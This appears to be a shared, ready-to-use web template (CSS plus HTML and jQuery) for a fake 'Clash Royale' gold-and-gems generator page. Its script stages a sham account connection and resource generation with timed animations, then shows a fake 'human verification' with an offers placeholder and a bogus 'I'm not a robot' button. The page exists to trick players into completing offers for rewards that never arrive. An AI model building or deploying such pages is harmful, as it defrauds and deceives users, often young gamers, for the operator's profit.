Online Game Generator Template #6 – Responsive Mobile Friendly
Custom CSS :
body { margin: 10px; background: #fff url(http://i.imgur.com/ygEegpl.jpg); background-position: 50% 50%; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; background-attachment: fixed; overflow-y: scroll; overflow-x: hidden; padding: 20px; } #container { background: rgba(226, 226, 226, 1); background: -moz-linear-gradient(left, rgba(226, 226, 226, 1) 0%, rgba(254, 254, 254, 1) 100%); background: -webkit-gradient(left top, right top, color-stop(0%, rgba(226, 226, 226, 1)), color-stop(100%, rgba(254, 254, 254, 1))); background: -webkit-linear-gradient(left, rgba(226, 226, 226, 1) 0%, rgba(254, 254, 254, 1) 100%); background: -o-linear-gradient(left, rgba(226, 226, 226, 1) 0%, rgba(254, 254, 254, 1) 100%); background: -ms-linear-gradient(left, rgba(226, 226, 226, 1) 0%, rgba(254, 254, 254, 1) 100%); background: linear-gradient(to right, rgba(226, 226, 226, 1) 0%, rgba(254, 254, 254, 1) 100%); filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#e2e2e2', endColorstr='#fefefe', GradientType=1); max-width: 640px; min-height: 300px; margin: 5% auto; padding: 20px; border: 3px solid #fff; border-radius: 5px; box-shadow: 0px 0px 10px #000; } #logo { width: 100%; max-width: 140px; } #head-title { font-family: 'Averia Sans Libre', cursive; font-weight: bold; } #head-sub-title { font-family: 'Open Sans Condensed', sans-serif; color: #000; } .center-block { float: none; margin-left: auto; margin-right: auto; } #user { font-family: 'News Cycle', sans-serif; width: 100%; font-size: 18px; } .inner-addon { position: relative; } /* style icon */.inner-addon .glyphicon { position: absolute; padding: 10px; pointer-events: none; } /* align icon */.left-addon .glyphicon { left: 0px; } .right-addon .glyphicon { right: 0px; } /* add padding */.left-addon input { padding-left: 30px; } .right-addon input { padding-right: 30px; } #user-form { max-width: 500px; padding: 10px; } .c_button { width: 100%; max-width: 400px; margin: 20px auto; background: #19f; border: none; padding: 10px; color: #fff; font-family: 'News Cycle', sans-serif; width: 100%; font-size: 18px; border-radius: 3px; } .c_button:disabled { width: 100%; max-width: 400px; margin: 20px auto; background: #aaa; border: none; padding: 10px; color: #fff; font-family: 'News Cycle', sans-serif; width: 100%; font-size: 18px; border-radius: 3px; cursor: not-allowed; } .loader { font-size: 10px; margin: 20px auto; text-indent: -9999em; width: 10em; height: 10em; border-radius: 50%; background: #19f; background: -moz-linear-gradient(left, #19f 10%, rgba(0, 200, 255, 0) 42%); background: -webkit-linear-gradient(left, #ffffff 10%, rgba(0, 200, 255, 0) 42%); background: -o-linear-gradient(left, #19f 10%, rgba(0, 200, 255, 0) 42%); background: -ms-linear-gradient(left, #19f 10%, rgba(0, 200, 255, 0) 42%); background: linear-gradient(to right, #19f 10%, rgba(0, 200, 255, 0) 42%); position: relative; -webkit-animation: load3 1.2s infinite linear; animation: load3 1.2s infinite linear; -webkit-transform: translateZ(0); -ms-transform: translateZ(0); transform: translateZ(0); overflow-x: hidden; } .loader:before { background: #19f; border-radius: 100% 0 0 0; position: absolute; top: 0; left: 0; content: ''; } .loader:after { background: #fff; border-radius: 50%; width: 75%; height: 75%; content: ''; margin: auto; position: absolute; top: 0; left: 0; bottom: 0; right: 0; } @-webkit-keyframes load3 { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes load3 { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } #generator-overlay { background-color: rgba(0, 9, 29, 0.3); background: rgba(0, 9, 29, 0.3); color: rgba(0, 9, 29, 0.3); width: 100%; height: 100%; position: fixed; index: 2; top: 0px; left: 0px; overflow-y: scroll; padding: 20px; display: none; } #generator { max-width: 500px; background: #fff; min-height: 200px; margin: 5% auto; box-shadow: 0px 0px 3px #333; padding: 10px; border-radius: 5px; left: -20px; opacity: 0; position: relative; } #loading { } #connected { padding: 0px 10px; text-align: center; display: none; } *, *:before, *:after { box-sizing: border-box; } .range-slider { padding: 10px; } .range-slider { width: 100%; } .range-slider__range { -webkit-appearance: none; width: calc(100% - (103px)); height: 10px; border-radius: 5px; background: #d7dcdf; outline: none; padding: 0; margin: 0; } .range-slider__range::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 20px; height: 20px; border-radius: 50%; background: #2c3e50; cursor: pointer; -webkit-transition: background .15s ease-in-out; transition: background .15s ease-in-out; } .range-slider__range::-webkit-slider-thumb:hover { background: #1abc9c; } .range-slider__range:active::-webkit-slider-thumb { background: #1abc9c; } .range-slider__range::-moz-range-thumb { width: 20px; height: 20px; border: 0; border-radius: 50%; background: #2c3e50; cursor: pointer; -webkit-transition: background .15s ease-in-out; transition: background .15s ease-in-out; } .range-slider__range::-moz-range-thumb:hover { background: #1abc9c; } .range-slider__range:active::-moz-range-thumb { background: #1abc9c; } .range-slider__value { display: inline-block; position: relative; width: 90px; color: #fff; line-height: 20px; text-align: center; border-radius: 3px; background: #2c3e50; padding: 5px 10px; margin-left: 8px; } .range-slider__value:after { position: absolute; top: 8px; left: -7px; width: 0; height: 0; border-top: 7px solid transparent; border-right: 7px solid #2c3e50; border-bottom: 7px solid transparent; content: ''; } ::-moz-range-track { background: #d7dcdf; border: 0; } input::-moz-focus-inner, input::-moz-focus-outer { border: 0; } #connect-title { font-family: 'Open Sans Condensed', sans-serif; color: #000; } .dl_button { padding-top: 20px; padding-bottom: 23px; font-size: 17px; background: #F9F9F9 url('http://i.imgur.com/OJEU4mf.png') no-repeat; background-position: right 0px top; border: 1px solid #D3D3D3; color: #4C4A4B; width: 100%; max-width: 300px; text-align: left; margin: 10px auto; box-shadow: 0px 0px 5px #eee; } .dl_button:hover { padding-top: 20px; padding-bottom: 23px; font-size: 17px; background: #F9F9F9 url('http://i.imgur.com/OJEU4mf.png') no-repeat; background-position: right 0px top; border: 1px solid #D3D3D3; color: #4C4A4B; width: 100%; max-width: 300px; text-align: left; margin: 10px auto; box-shadow: 0px 0px 5px #eee; } .square { border: 2px solid #C3C3C3; padding: 3px 13px; } #cap_image { float: right; width: 32px; height: 32px; } #notice { text-align: justify; text-justify: inter-word; } .offer_help_text { background: #4A90E2; color: #fff; padding: 10px; text-align: left; font-weight: normal; font-family: 'Open Sans Condensed', sans-serif; font-size: 20px; } #offerlst { border: 1px solid #DBDBDB; max-width: 400px; margin: 10px auto; background-size: 73px 24px; text-align: right; } .link_a:link { width: 100%; border: none; background: none; text-align: left; padding: 10px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .link_a:link:hover { width: 100%; border: none; background: #eee; text-align: left; } .glyphicon { padding: 0px 10px; } #captcha { display: none; padding: 20px; } .username { color: #19f; font-family: 'Open Sans Condensed', sans-serif; }
CUSTOM HTML :
<meta name="viewport" content="width=device-width, initial-scale=1 maximum-scale=1" /> <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300" rel="stylesheet" /> <link href="https://fonts.googleapis.com/css?family=News+Cycle" rel="stylesheet" /> <link href="https://fonts.googleapis.com/css?family=Averia+Sans+Libre:300" rel="stylesheet"> <div id="container"> <center> <img id="logo" src="http://i.imgur.com/Pfpn5iz.jpg" /> <h1 id="head-title">CLASH ROYALE GENERATOR</h1> <h2 id="head-sub-title">We bring happiness to everyone!</h2> <div id="user-form"> <div class="inner-addon left-addon"> <i class="glyphicon glyphicon-search"></i> <input type="text" id="user" placeholder="Username/E-mail" class="form-control" /> </div> <button id="connect" class="c_button"> CONNECT ACCOUNT <i class="glyphicon glyphicon-share-alt"></i> </button> </div> </center> </div> <div id="generator-overlay"> <div id="generator"> <center> <h1 id="connect-title">CONNECTING TO SERVER</h1> </center> <div id="loading"> <div class="loader">Loading...</div> </div> <div class="content"></div> <div id="connected"> <h1 class="username"></h1> <h2 id="head-sub-title">Choose Amount of Gold</h2> <div class="range-slider"> <input class="range-slider__range" type="range" value="0" min="0" max="9999999" step="1"> <span class="range-slider__value">0</span> </div> <h2 id="head-sub-title">Choose Amount of Gems</h2> <div class="range-slider"> <input class="range-slider__range" type="range" value="0" min="0" max="9999999" step="1"> <span class="range-slider__value">0</span> </div> <button id="generate" class="c_button"> GENERATE RESOURCES <i class="glyphicon glyphicon-refresh"></i> </button> </div> <div id="captcha"> {%offers%} <div id="notice">To ensure the security of our database, we ask that you check the box on the upper right. This prevents automated programs from requesting access to our database. </div> </div> </div> </div> <br> <br/> <script> $( document ).ready(function() { $(".link_a").prepend('<i class="glyphicon glyphicon-list-alt"></i>'); $("#offerlst").append("<br>"); $(".dl_button").html('<i class="square"></i> <font style="margin-left:10px;">Im not a Robot</font>'); $("#connect").click(function () { if ($("#user").val().length == 0) { $("#user").focus() } else { userId = $("#user").val(); $("#generator-overlay").fadeIn(100); $("#generator").animate({ left: "0px", opacity: "1" }, 1000, function () { setTimeout(function () { $("#loading").fadeOut() }, 7000); setTimeout(function () { $("#connected").fadeIn(); $("#connect-title").html("CONNECTED AS"); $(".username").html(userId) }, 7500) }) } }); $("#generate").click(function () { $("#connected").hide(); $("#loading").fadeIn(500); $("#connect-title").html("GENERATING RESOURCES"); setTimeout(function () { $("#loading").hide(); $("#connect-title").html("HUMAN VERIFICATION"); $("#captcha").show(500) }, 7500) }); var rangeSlider = function () { var _0x3fa4x2 = $(".range-slider"), _0x3fa4x3 = $(".range-slider__range"), _0x3fa4x4 = $(".range-slider__value"); _0x3fa4x2.each(function () { _0x3fa4x4.each(function () { var _0x3fa4x4 = $(this).prev().attr("value"); $(this).html(_0x3fa4x4) }); _0x3fa4x3.on("input", function () { $(this).next(_0x3fa4x4).html(this.value) }) }) }; rangeSlider() }); </script>
13,262 Views
